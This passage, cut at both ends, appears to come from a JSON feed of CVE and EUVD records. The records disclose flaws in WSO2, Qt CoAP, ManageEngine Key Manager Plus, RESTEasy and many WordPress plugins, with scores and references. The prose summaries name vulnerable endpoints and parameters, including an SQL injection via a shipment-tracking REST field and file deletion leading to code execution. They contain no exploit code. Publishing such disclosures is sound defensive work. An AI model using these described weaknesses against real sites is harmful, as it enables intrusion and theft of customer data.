self-registered user may gain access to the System REST APIs of WSO2 API Manager by obtaining a token from the WSO2 Identity Server token endpoint.","published_time":"2026-11-03T08:02:33","cvss":9.8,"cvss_version":"3.1","epss":0.0,"assigner":"WSO2","references":["https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2026/WSO2-2026-5212/"],"products":["WSO2 API Manager","WSO2 API Control Plane","WSO2 API Manager","WSO2 API Control Plane","WSO2 API Manager","WSO2 API Manager","WSO2 Identity Server Key Manager Connector (apim-km-wso2is)","WSO2 API Manager","WSO2 API Manager"],"vendors":["WSO2"]},"ghsa":null},{"cve_id":"CVE-2026-74846","summary":"Catalyst::Plugin::Authentication versions before 0.10029 for Perl allow timing attacks on stored passwords via eq comparisons in the legacy password verifier.\n\nCVE-2026-5091 was fixed in the realm-based verifier. The legacy verifier, used by the deprecated login method, compares clear-text passwords, crypt hashes and base64 digests with eq, so the comparison time depends on how many leading bytes match.\n\nA remote attacker can use response-time differences to guess the stored password or hash.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00273,"ranking_epss":0.19798,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/perl-catalyst/Catalyst-Plugin-Authentication/commit/ba4435f1fa6b641e6c8793c88b5433afa83ceafa.patch","https://metacpan.org/release/ETHER/Catalyst-Plugin-Authentication-0.10029/changes","https://www.cve.org/CVERecord?id=CVE-2026-5091"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T08:17:15","euvd":{"id":"EUVD-2026-115722","description":"Catalyst::Plugin::Authentication versions before 0.10029 for Perl allow timing attacks on stored passwords via eq comparisons in the legacy password verifier.\n\nCVE-2026-5091 was fixed in the realm-based verifier. The legacy verifier, used by the deprecated login method, compares clear-text passwords, crypt hashes and base64 digests with eq, so the comparison time depends on how many leading bytes match.\n\nA remote attacker can use response-time differences to guess the stored password or hash.","published_time":"2026-11-03T07:51:25","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"CPANSec","references":["https://metacpan.org/release/ETHER/Catalyst-Plugin-Authentication-0.10029/changes","https://github.com/perl-catalyst/Catalyst-Plugin-Authentication/commit/ba4435f1fa6b641e6c8793c88b5433afa83ceafa.patch","https://www.cve.org/CVERecord?id=CVE-2026-5091"],"products":[],"vendors":[]},"ghsa":null},{"cve_id":"CVE-2026-103653","summary":"An out-of-bounds read vulnerability in the Qt CoAP message parsing (QCoapInternalReply::createFromFrame()) of the Qt CoAP module. Processing a malformed CoAP message can cause an application using Qt CoAP to crash (loss of availability) or to continue operating on incorrect data (potential loss of integrity).","cvss":6.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":6.7,"epss":0.00291,"ranking_epss":0.2179,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://codereview.qt-project.org/c/qt/qtcoap/+/760652","https://codereview.qt-project.org/c/qt/qtcoap/+/761120","https://wiki.qt.io/List_of_known_vulnerabilities_in_Qt_products#CVE-2026-103653:"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T08:17:13","euvd":{"id":"EUVD-2026-115724","description":"An out-of-bounds read vulnerability in the Qt CoAP message parsing (QCoapInternalReply::createFromFrame()) of the Qt CoAP module. Processing a malformed CoAP message can cause an application using Qt CoAP to crash (loss of availability) or to continue operating on incorrect data (potential loss of integrity).","published_time":"2026-11-03T07:35:45","cvss":6.7,"cvss_version":"4.0","epss":0.0,"assigner":"Qt","references":["https://wiki.qt.io/List_of_known_vulnerabilities_in_Qt_products#CVE-2026-103653:","https://codereview.qt-project.org/c/qt/qtcoap/+/760652","https://codereview.qt-project.org/c/qt/qtcoap/+/761120"],"products":["Qt","Qt"],"vendors":["Qt"]},"ghsa":null},{"cve_id":"CVE-2026-120987","summary":"Whale Browser before 5.39.412.57 allows an attacker to bypass the iframe sandbox in a dual-tab environment.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00113,"ranking_epss":0.01401,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://cve.naver.com/detail/cve-2026-120987.html"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T07:18:21","euvd":{"id":"EUVD-2026-115692","description":"Whale Browser before 5.39.412.57 allows an attacker to bypass the iframe sandbox in a dual-tab environment.","published_time":"2026-11-03T06:42:16","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"naver","references":["https://cve.naver.com/detail/cve-2026-120987.html"],"products":["NAVER Whale browser"],"vendors":["NAVER"]},"ghsa":null},{"cve_id":"CVE-2025-5769","summary":"The authentication endpoint does not properly encode user-supplied input before rendering it within the web page. This lack of output encoding allows an attacker to inject malicious JavaScript payloads into the authentication flow, which are then executed by the victim's browser.\n\nBy exploiting this vulnerability, an attacker can redirect the user's browser to a malicious website, modify the content of the web page displayed to the user, or exfiltrate information from the browser. However, due to the implementation of the httpOnly flag on session-related sensitive cookies, session hijacking and similar attacks are not possible.","cvss":6.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.1,"cvss_v4":null,"epss":0.0017,"ranking_epss":0.06354,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2026/WSO2-2025-4217/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T07:17:41","euvd":{"id":"EUVD-2025-211244","description":"The authentication endpoint does not properly encode user-supplied input before rendering it within the web page. This lack of output encoding allows an attacker to inject malicious JavaScript payloads into the authentication flow, which are then executed by the victim's browser.\n\nBy exploiting this vulnerability, an attacker can redirect the user's browser to a malicious website, modify the content of the web page displayed to the user, or exfiltrate information from the browser. However, due to the implementation of the httpOnly flag on session-related sensitive cookies, session hijacking and similar attacks are not possible.","published_time":"2026-11-03T06:11:52","cvss":6.1,"cvss_version":"3.1","epss":0.0,"assigner":"WSO2","references":["https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2026/WSO2-2025-4217/"],"products":["WSO2 API Manager","WSO2 Identity Server","WSO2 API Manager","WSO2 API Control Plane","WSO2 Identity Server","WSO2 API Manager","WSO2 API Manager","WSO2 Identity Server","WSO2 API Manager","WSO2 Identity Server","WSO2 Identity Server","WSO2 Identity Server","WSO2 API Manager","WSO2 API Manager"],"vendors":["WSO2"]},"ghsa":null},{"cve_id":"CVE-2025-1397","summary":"When utilizing JWT Bearer or SAML2 Bearer grant types, the system fails to validate the status of the Identity Provider (IDP) before issuing access tokens. This oversight permits tokens to be generated even when the associated IDP has been disabled.\n\nA malicious actor could leverage this vulnerability to obtain access tokens by targeting a disabled IDP. This could enable them to bypass intended security controls and potentially access protected resources that should be inaccessible due to the IDP's disabled state.","cvss":4.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.8,"cvss_v4":null,"epss":0.00152,"ranking_epss":0.04327,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2026/WSO2-2025-4010/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T07:17:19","euvd":{"id":"EUVD-2025-211243","description":"When utilizing JWT Bearer or SAML2 Bearer grant types, the system fails to validate the status of the Identity Provider (IDP) before issuing access tokens. This oversight permits tokens to be generated even when the associated IDP has been disabled.\n\nA malicious actor could leverage this vulnerability to obtain access tokens by targeting a disabled IDP. This could enable them to bypass intended security controls and potentially access protected resources that should be inaccessible due to the IDP's disabled state.","published_time":"2026-11-03T06:07:57","cvss":4.8,"cvss_version":"3.1","epss":0.0,"assigner":"WSO2","references":["https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2026/WSO2-2025-4010/"],"products":["WSO2 Identity Server as Key Manager","WSO2 API Manager","WSO2 Identity Server","JWT Grant Type For OAuth2","WSO2 Carbon OAuth","WSO2 Open Banking AM","JWT Grant Type For OAuth2","JWT Grant Type For OAuth2","WSO2 Universal Gateway","WSO2 Carbon OAuth","WSO2 Carbon OAuth","JWT Grant Type For OAuth2","WSO2 Identity Server","JWT Grant Type For OAuth2","WSO2 Carbon OAuth","WSO2 Carbon OAuth","JWT Grant Type For OAuth2","WSO2 API Manager","WSO2 API Manager","WSO2 Carbon OAuth","WSO2 Identity Server","WSO2 API Manager","WSO2 Carbon OAuth","WSO2 API Manager","WSO2 Identity Server","WSO2 Carbon OAuth","WSO2 Traffic Manager","WSO2 API Control Plane","WSO2 Identity Server","WSO2 API Manager","WSO2 Open Banking IAM","WSO2 API Manager","WSO2 Carbon OAuth","JWT Grant Type For OAuth2","JWT Grant Type For OAuth2","WSO2 API Manager","WSO2 Carbon OAuth","JWT Grant Type For OAuth2","WSO2 Carbon OAuth","WSO2 API Manager"],"vendors":["WSO2"]},"ghsa":null},{"cve_id":"CVE-2026-104647","summary":"The weMail  WordPress plugin through 2.1.6 does not correctly verify user capabilities in its REST API permission checks, treating any user whose role is in the weMail  WordPress plugin through 2.1.6's allowed-roles list (Editor and above by default) as authorised for every action, which allows such users to perform administrator-level actions including enumerating all registered users with their email addresses and modifying the weMail  WordPress plugin through 2.1.6's own access-control configuration.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00132,"ranking_epss":0.02812,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://wpscan.com/vulnerability/ab92c7f7-c74f-4af4-819f-b582a5a7f9d1/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T06:17:37","euvd":{"id":"EUVD-2026-115684","description":"The weMail  WordPress plugin through 2.1.6 does not correctly verify user capabilities in its REST API permission checks, treating any user whose role is in the weMail  WordPress plugin through 2.1.6's allowed-roles list (Editor and above by default) as authorised for every action, which allows such users to perform administrator-level actions including enumerating all registered users with their email addresses and modifying the weMail  WordPress plugin through 2.1.6's own access-control configuration.","published_time":"2026-11-03T06:00:24","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"WPScan","references":["https://wpscan.com/vulnerability/ab92c7f7-c74f-4af4-819f-b582a5a7f9d1/"],"products":["weMail"],"vendors":["Unknown"]},"ghsa":null},{"cve_id":"CVE-2026-104648","summary":"The weMail  WordPress plugin through 2.1.6 does not restrict a site-wide third-party email-service API key to administrators, exposing it in an admin screen that users with the Editor role can reach by default, which allows them to obtain a reusable credential usable without a WordPress session to impersonate other users and sever the site's email-service connection.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.0014,"ranking_epss":0.03348,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://wpscan.com/vulnerability/5908e671-7282-48b5-90c9-e85db6b80c52/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T06:17:37","euvd":{"id":"EUVD-2026-115683","description":"The weMail  WordPress plugin through 2.1.6 does not restrict a site-wide third-party email-service API key to administrators, exposing it in an admin screen that users with the Editor role can reach by default, which allows them to obtain a reusable credential usable without a WordPress session to impersonate other users and sever the site's email-service connection.","published_time":"2026-11-03T06:00:24","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"WPScan","references":["https://wpscan.com/vulnerability/5908e671-7282-48b5-90c9-e85db6b80c52/"],"products":["weMail"],"vendors":["Unknown"]},"ghsa":null},{"cve_id":"CVE-2026-105967","summary":"The Gallery for Social Photo WordPress plugin through 1.0.0.41 does not validate a user-supplied URL before using it to perform a server-side request, allowing unauthenticated attackers to make the server issue requests to arbitrary internal hosts and read the responses.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00149,"ranking_epss":0.04142,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://wpscan.com/vulnerability/30dffd34-b7e5-4afc-809b-abb5c9d20590/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T06:17:37","euvd":{"id":"EUVD-2026-115681","description":"The Gallery for Social Photo WordPress plugin through 1.0.0.41 does not validate a user-supplied URL before using it to perform a server-side request, allowing unauthenticated attackers to make the server issue requests to arbitrary internal hosts and read the responses.","published_time":"2026-11-03T06:00:23","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"WPScan","references":["https://wpscan.com/vulnerability/30dffd34-b7e5-4afc-809b-abb5c9d20590/"],"products":["Gallery for Social Photo"],"vendors":["Unknown"]},"ghsa":null},{"cve_id":"CVE-2026-105993","summary":"The DT Directory Lite Addon WordPress plugin through 1.1 does not perform nonce or capability checks on its settings handlers, allowing unauthenticated attackers to modify the DT Directory Lite Addon WordPress plugin through 1.1's configuration and skin options.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00149,"ranking_epss":0.04141,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://wpscan.com/vulnerability/7a71b710-5022-4692-aae8-f6da7ac8b664/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T06:17:37","euvd":{"id":"EUVD-2026-115679","description":"The DT Directory Lite Addon WordPress plugin through 1.1 does not perform nonce or capability checks on its settings handlers, allowing unauthenticated attackers to modify the DT Directory Lite Addon WordPress plugin through 1.1's configuration and skin options.","published_time":"2026-11-03T06:00:23","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"WPScan","references":["https://wpscan.com/vulnerability/7a71b710-5022-4692-aae8-f6da7ac8b664/"],"products":["DT Directory Lite Addon"],"vendors":["Unknown"]},"ghsa":null},{"cve_id":"CVE-2026-106004","summary":"The DT LMS  WordPress plugin through 1.2 does not perform capability or nonce checks on one of its AJAX actions, allowing unauthenticated attackers to revoke any learner's course and class completion status.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00149,"ranking_epss":0.04141,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://wpscan.com/vulnerability/f2a87670-ddbd-455b-884f-9b710d3bb600/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T06:17:37","euvd":{"id":"EUVD-2026-115680","description":"The DT LMS  WordPress plugin through 1.2 does not perform capability or nonce checks on one of its AJAX actions, allowing unauthenticated attackers to revoke any learner's course and class completion status.","published_time":"2026-11-03T06:00:23","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"WPScan","references":["https://wpscan.com/vulnerability/f2a87670-ddbd-455b-884f-9b710d3bb600/"],"products":["DT LMS"],"vendors":["Unknown"]},"ghsa":null},{"cve_id":"CVE-2026-115205","summary":"The AZEXO Store Locator WordPress plugin through 1.4 does not have a capability check or any authorization control when deleting a post, allowing any authenticated user, such as a subscriber, to delete arbitrary posts and pages.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00145,"ranking_epss":0.03759,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://wpscan.com/vulnerability/1b5ad120-2d39-49c9-89a1-f9385339cbcb/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T06:17:37","euvd":{"id":"EUVD-2026-115678","description":"The AZEXO Store Locator WordPress plugin through 1.4 does not have a capability check or any authorization control when deleting a post, allowing any authenticated user, such as a subscriber, to delete arbitrary posts and pages.","published_time":"2026-11-03T06:00:22","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"WPScan","references":["https://wpscan.com/vulnerability/1b5ad120-2d39-49c9-89a1-f9385339cbcb/"],"products":["AZEXO Store Locator"],"vendors":["Unknown"]},"ghsa":null},{"cve_id":"CVE-2026-103379","summary":"The WATI Chat and Notification WordPress plugin through 1.1.8 does not require a valid, non-empty secret on a public endpoint that returns its stored API token, which an unauthenticated attacker can then present to a second public endpoint to obtain the order-received URL of any WooCommerce order and read the customer's name, address, phone number and email address. The endpoints are reachable in the WATI Chat and Notification WordPress plugin through 1.1.8's default state and are closed only once a WATI account is connected.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00146,"ranking_epss":0.03845,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://wpscan.com/vulnerability/0018daf6-9fbe-4b80-8a9e-60950ddaa4fe/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T06:17:35","euvd":{"id":"EUVD-2026-115682","description":"The WATI Chat and Notification WordPress plugin through 1.1.8 does not require a valid, non-empty secret on a public endpoint that returns its stored API token, which an unauthenticated attacker can then present to a second public endpoint to obtain the order-received URL of any WooCommerce order and read the customer's name, address, phone number and email address. The endpoints are reachable in the WATI Chat and Notification WordPress plugin through 1.1.8's default state and are closed only once a WATI account is connected.","published_time":"2026-11-03T06:00:24","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"WPScan","references":["https://wpscan.com/vulnerability/0018daf6-9fbe-4b80-8a9e-60950ddaa4fe/"],"products":["WATI Chat and Notification"],"vendors":["Unknown"]},"ghsa":null},{"cve_id":"CVE-2026-77799","summary":"ManageEngine Key Manager Plus versions before 7150 are vulnerable to a Two-Factor Authentication bypass that allows attackers with valid credentials to log in without a verification code.","cvss":7.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.4,"cvss_v4":null,"epss":0.01177,"ranking_epss":0.67646,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.manageengine.com/key-manager/advisory/cve-2026-77799.html"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T05:18:52","euvd":{"id":"EUVD-2026-115674","description":"ManageEngine Key Manager Plus versions before 7150 are vulnerable to a Two-Factor Authentication bypass that allows attackers with valid credentials to log in without a verification code.","published_time":"2026-11-03T04:57:12","cvss":7.4,"cvss_version":"3.1","epss":0.0,"assigner":"Zohocorp","references":["https://www.manageengine.com/key-manager/advisory/cve-2026-77799.html"],"products":["ManageEngine Key Manager Plus"],"vendors":["Zohocorp"]},"ghsa":null},{"cve_id":"CVE-2026-77800","summary":"ManageEngine Key Manager Plus versions before 7151 are vulnerable to a SAML authentication bypass that allows attackers to log in using SAML assertions meant for another service provider.","cvss":7.7,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.7,"cvss_v4":null,"epss":0.00958,"ranking_epss":0.61526,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.manageengine.com/key-manager/advisory/cve-2026-77800.html"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T05:18:52","euvd":{"id":"EUVD-2026-115675","description":"ManageEngine Key Manager Plus versions before 7151 are vulnerable to a SAML authentication bypass that allows attackers to log in using SAML assertions meant for another service provider.","published_time":"2026-11-03T05:10:58","cvss":7.7,"cvss_version":"3.1","epss":0.0,"assigner":"Zohocorp","references":["https://www.manageengine.com/key-manager/advisory/cve-2026-77800.html"],"products":["ManageEngine Key Manager Plus"],"vendors":["Zohocorp"]},"ghsa":null},{"cve_id":"CVE-2026-120575","summary":"The Photo Engine (Media Organizer & Lightroom) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'hierarchy[].name' parameter in all versions up to, and including, 6.5.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is exploitable by Subscribers because the /?wplr-sync-api endpoint authenticates solely via wplr_auth_token usermeta with no capability check, and the current user's token is exposed on every admin page via localized script data due to a commented-out screen-condition guard.","cvss":6.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.4,"cvss_v4":null,"epss":0.00206,"ranking_epss":0.10641,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://plugins.trac.wordpress.org/browser/wplr-sync/tags/6.5.6/classes/admin.php#L80","https://plugins.trac.wordpress.org/browser/wplr-sync/tags/6.5.6/classes/api.php#L116","https://plugins.trac.wordpress.org/browser/wplr-sync/tags/6.5.6/classes/api.php#L290","https://plugins.trac.wordpress.org/browser/wplr-sync/tags/6.5.6/classes/core.php#L1983","https://plugins.trac.wordpress.org/browser/wplr-sync/tags/6.5.6/classes/core.php#L2057","https://plugins.trac.wordpress.org/browser/wplr-sync/tags/6.5.6/classes/explorer.php#L63","https://plugins.trac.wordpress.org/changeset?old_path=/wplr-sync/tags/6.5.6&new_path=/wplr-sync/tags/6.5.8","https://www.wordfence.com/threat-intel/vulnerabilities/id/ebb6a31a-3d12-4dd1-b9f8-5d9e17f0bf48?source=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T05:18:34","euvd":{"id":"EUVD-2026-115670","description":"The Photo Engine (Media Organizer & Lightroom) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'hierarchy[].name' parameter in all versions up to, and including, 6.5.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is exploitable by Subscribers because the /?wplr-sync-api endpoint authenticates solely via wplr_auth_token usermeta with no capability check, and the current user's token is exposed on every admin page via localized script data due to a commented-out screen-condition guard.","published_time":"2026-11-03T04:43:10","cvss":6.4,"cvss_version":"3.1","epss":0.0,"assigner":"Wordfence","references":["https://www.wordfence.com/threat-intel/vulnerabilities/id/ebb6a31a-3d12-4dd1-b9f8-5d9e17f0bf48?source=cve","https://plugins.trac.wordpress.org/browser/wplr-sync/tags/6.5.6/classes/explorer.php#L63","https://plugins.trac.wordpress.org/browser/wplr-sync/tags/6.5.6/classes/core.php#L1983","https://plugins.trac.wordpress.org/browser/wplr-sync/tags/6.5.6/classes/core.php#L2057","https://plugins.trac.wordpress.org/browser/wplr-sync/tags/6.5.6/classes/api.php#L290","https://plugins.trac.wordpress.org/browser/wplr-sync/tags/6.5.6/classes/api.php#L116","https://plugins.trac.wordpress.org/browser/wplr-sync/tags/6.5.6/classes/admin.php#L80","https://plugins.trac.wordpress.org/changeset?old_path=/wplr-sync/tags/6.5.6&new_path=/wplr-sync/tags/6.5.8"],"products":["Photo Engine (Media Organizer & Lightroom)"],"vendors":["tigroumeow"]},"ghsa":null},{"cve_id":"CVE-2026-120577","summary":"The FluentCart A New Era of eCommerce – Faster, Lighter, and Simpler plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the deleteFile function in all versions up to, and including, 1.6.2. This makes it possible for authenticated attackers, with custom-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).","cvss":8.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.1,"cvss_v4":null,"epss":0.00609,"ranking_epss":0.49207,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://plugins.trac.wordpress.org/browser/fluent-cart/tags/1.6.2/app/Http/Controllers/FileUploadController.php#L141","https://plugins.trac.wordpress.org/browser/fluent-cart/tags/1.6.2/app/Http/Routes/api.php#L832","https://plugins.trac.wordpress.org/browser/fluent-cart/tags/1.6.2/app/Services/FileSystem/Drivers/Local/LocalDriver.php#L243","https://plugins.trac.wordpress.org/changeset?reponame=&old=3661075%40fluent-cart&new=3661075%40fluent-cart","https://www.wordfence.com/threat-intel/vulnerabilities/id/f20ead74-6db0-4bd2-82f6-0eb792288d70?source=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T05:18:34","euvd":{"id":"EUVD-2026-115671","description":"The FluentCart A New Era of eCommerce – Faster, Lighter, and Simpler plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the deleteFile function in all versions up to, and including, 1.6.2. This makes it possible for authenticated attackers, with custom-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).","published_time":"2026-11-03T04:43:10","cvss":8.1,"cvss_version":"3.1","epss":0.0,"assigner":"Wordfence","references":["https://www.wordfence.com/threat-intel/vulnerabilities/id/f20ead74-6db0-4bd2-82f6-0eb792288d70?source=cve","https://plugins.trac.wordpress.org/browser/fluent-cart/tags/1.6.2/app/Services/FileSystem/Drivers/Local/LocalDriver.php#L243","https://plugins.trac.wordpress.org/browser/fluent-cart/tags/1.6.2/app/Http/Controllers/FileUploadController.php#L141","https://plugins.trac.wordpress.org/browser/fluent-cart/tags/1.6.2/app/Http/Routes/api.php#L832","https://plugins.trac.wordpress.org/changeset?reponame=&old=3661075%40fluent-cart&new=3661075%40fluent-cart"],"products":["FluentCart A New Era of eCommerce – Faster, Lighter, and Simpler"],"vendors":["wpmanageninja"]},"ghsa":null},{"cve_id":"CVE-2026-120578","summary":"The AI Alt Text Generator plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.7.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to modify the alt text, and optionally the title, caption, and description of arbitrary attachments owned by other users. Exploiting this vulnerability requires a Contributor-level account to retrieve the nonce from the page source of post.php, post-new.php, or upload.php; additionally, overwriting post_title, post_excerpt, and post_content requires the plugin's set_title, set_caption, or set_description options to be enabled.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":0.00255,"ranking_epss":0.17212,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://plugins.trac.wordpress.org/browser/ai-alt-text-generator/tags/2.7.0/admin/class-ai-alt-text-generator-admin.php#L585","https://plugins.trac.wordpress.org/browser/ai-alt-text-generator/tags/2.7.0/includes/class-ai-alt-text-generator.php#L175","https://plugins.trac.wordpress.org/browser/ai-alt-text-generator/tags/2.7.0/includes/functions.php#L249","https://plugins.trac.wordpress.org/changeset?reponame=&old=3767321%40ai-alt-text-generator&new=3767321%40ai-alt-text-generator","https://www.wordfence.com/threat-intel/vulnerabilities/id/fa4741fa-0871-4f23-b164-94f5e94f5712?source=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T05:18:34","euvd":{"id":"EUVD-2026-115673","description":"The AI Alt Text Generator plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.7.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to modify the alt text, and optionally the title, caption, and description of arbitrary attachments owned by other users. Exploiting this vulnerability requires a Contributor-level account to retrieve the nonce from the page source of post.php, post-new.php, or upload.php; additionally, overwriting post_title, post_excerpt, and post_content requires the plugin's set_title, set_caption, or set_description options to be enabled.","published_time":"2026-11-03T04:43:11","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"Wordfence","references":["https://www.wordfence.com/threat-intel/vulnerabilities/id/fa4741fa-0871-4f23-b164-94f5e94f5712?source=cve","https://plugins.trac.wordpress.org/browser/ai-alt-text-generator/tags/2.7.0/admin/class-ai-alt-text-generator-admin.php#L585","https://plugins.trac.wordpress.org/browser/ai-alt-text-generator/tags/2.7.0/includes/class-ai-alt-text-generator.php#L175","https://plugins.trac.wordpress.org/browser/ai-alt-text-generator/tags/2.7.0/includes/functions.php#L249","https://plugins.trac.wordpress.org/changeset?reponame=&old=3767321%40ai-alt-text-generator&new=3767321%40ai-alt-text-generator"],"products":["AI Alt Text Generator"],"vendors":["migkapa"]},"ghsa":null},{"cve_id":"CVE-2026-120971","summary":"A flaw was found in RESTEasy's default exception mapper. When an unhandled exception other than a WebApplicationException is not handled by an application exception mapper, RESTEasy returns the exception's localized message in the HTTP 500 response body. A remote unauthenticated attacker who can trigger such an exception may obtain information contained in that message. The behavior was reproduced with RESTEasy 7.0.2.Final.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":0.00343,"ranking_epss":0.27939,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://access.redhat.com/security/cve/CVE-2026-120971","https://bugzilla.redhat.com/show_bug.cgi?id=2565584"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T05:18:34","euvd":{"id":"EUVD-2026-115658","description":"A flaw was found in RESTEasy's default exception mapper. When an unhandled exception other than a WebApplicationException is not handled by an application exception mapper, RESTEasy returns the exception's localized message in the HTTP 500 response body. A remote unauthenticated attacker who can trigger such an exception may obtain information contained in that message. The behavior was reproduced with RESTEasy 7.0.2.Final.","published_time":"2026-11-03T04:16:03","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"redhat","references":["https://access.redhat.com/security/cve/CVE-2026-120971","https://bugzilla.redhat.com/show_bug.cgi?id=2565584"],"products":[],"vendors":[]},"ghsa":null},{"cve_id":"CVE-2026-120558","summary":"The Advanced Shipment Tracking for WooCommerce plugin for WordPress is vulnerable to SQL Injection via the `tracking_provider` parameter of the `POST /wp-json/wc-ast/v3/orders/<order_id>/shipment-trackings` REST endpoint in all versions up to, and including, 3.9. This is due to insufficient escaping on the user-supplied parameter and lack of sufficient preparation on the existing SQL query in `WC_Advanced_Shipment_Tracking_Admin::get_provider_slug_from_name()` — the value is concatenated directly into the format string of `$wpdb->prepare()` rather than bound as a parameter, bypassing parameterised-query protections. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to append additional SQL queries into the already-existing query that can be used to extract sensitive information from the 